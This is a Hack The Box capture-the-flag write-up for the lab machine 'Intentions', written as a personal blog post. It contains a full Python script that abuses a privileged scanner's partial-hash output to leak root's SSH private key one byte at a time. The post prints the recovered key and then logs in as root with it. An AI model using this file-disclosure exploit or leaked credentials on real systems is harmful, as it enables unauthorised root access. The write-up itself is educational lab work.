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Hack The Box Intentions Writeup

June 20, 20243 min read
Intentions machine

Enumeration

As usual we start with recon.

Nmap Scan Results We can only see two ports open on this server. I will go ahead and add the record to our hosts file. We can check what is running on port 80.

Login Page

We found a login to some sort of image gallery. On the registration page I tried to create an account and see how far we could get.

Registration Page

After login we were presented with a simple dashboard. On the profile tab we had an input that looked like it could be susceptible to some sort of SQL injection.

Profile Input Field

Scanning the directories I was able to find a few: Directory Scan Results

I further enumerated the js directory and found an admin.js that had interesting information at the very bottom, easy to overlook when you don't go through the code thoroughly. I curled the script and beautified it with js-beautify.

Admin.js Script

Privilege Escalation

While running in user mode we discovered that there was a scanner we could run that has more abilities than it appears.

#!/usr/bin/env python3

import hashlib
import subprocess
import sys


def get_hash(filename, length):
    """Run external scanner tool to get the hash for the given length of characters from the file."""
    process = subprocess.run(
        ["/opt/scanner/scanner", "-c", filename, "-s", "whatever", "-p", "-l", str(length)],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )
    try:
        return process.stdout.decode().strip().split()[-1]
    except IndexError:
        return None


def find_next_character(current_output, target_hash):
    """Determine the next character by comparing MD5 hashes."""
    for i in range(256):
        candidate_output = current_output + bytes([i])
        if hashlib.md5(candidate_output).hexdigest() == target_hash:
            return bytes([i])
    return None


def main(filename):
    output = b""

    while True:
        target_hash = get_hash(filename, len(output) + 1)
        if not target_hash:
            break
        next_char = find_next_character(output, target_hash)
        if next_char is None:
            break
        output += next_char
        print(next_char.decode(), end="")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: ./script.py <filename>")
        sys.exit(1)

    filename = sys.argv[1]
    main(filename)

With this script, we are trying to reconstruct a sequence of characters (a string) by repeatedly invoking an external scanner program to obtain hash values for incremental lengths of the string and then determining the next character that matches these hash values.

greg@intentions:~$ python3 exploit.py /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

After getting the private key, we add it to a file and change the permissions.

mrinspector@kali:~/HTB/Intentions$ chmod 600 root_key 

mrinspector@kali:~/HTB/Intentions$ ssh -i root_key root@intentions.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jun 25 09:27:48 AM UTC 2024

  System load:           0.080078125
  Usage of /:            58.2% of 6.30GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             221
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.220
  IPv6 address for eth0: dead:beef::250:56ff:feb9:d312

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

After logging in we go ahead and grab the root flag.

root@intentions:~# cat root.txt 
06aaae79***********************
IntentionsHack the boxWriteupBlog
Written By Benjamin Irumva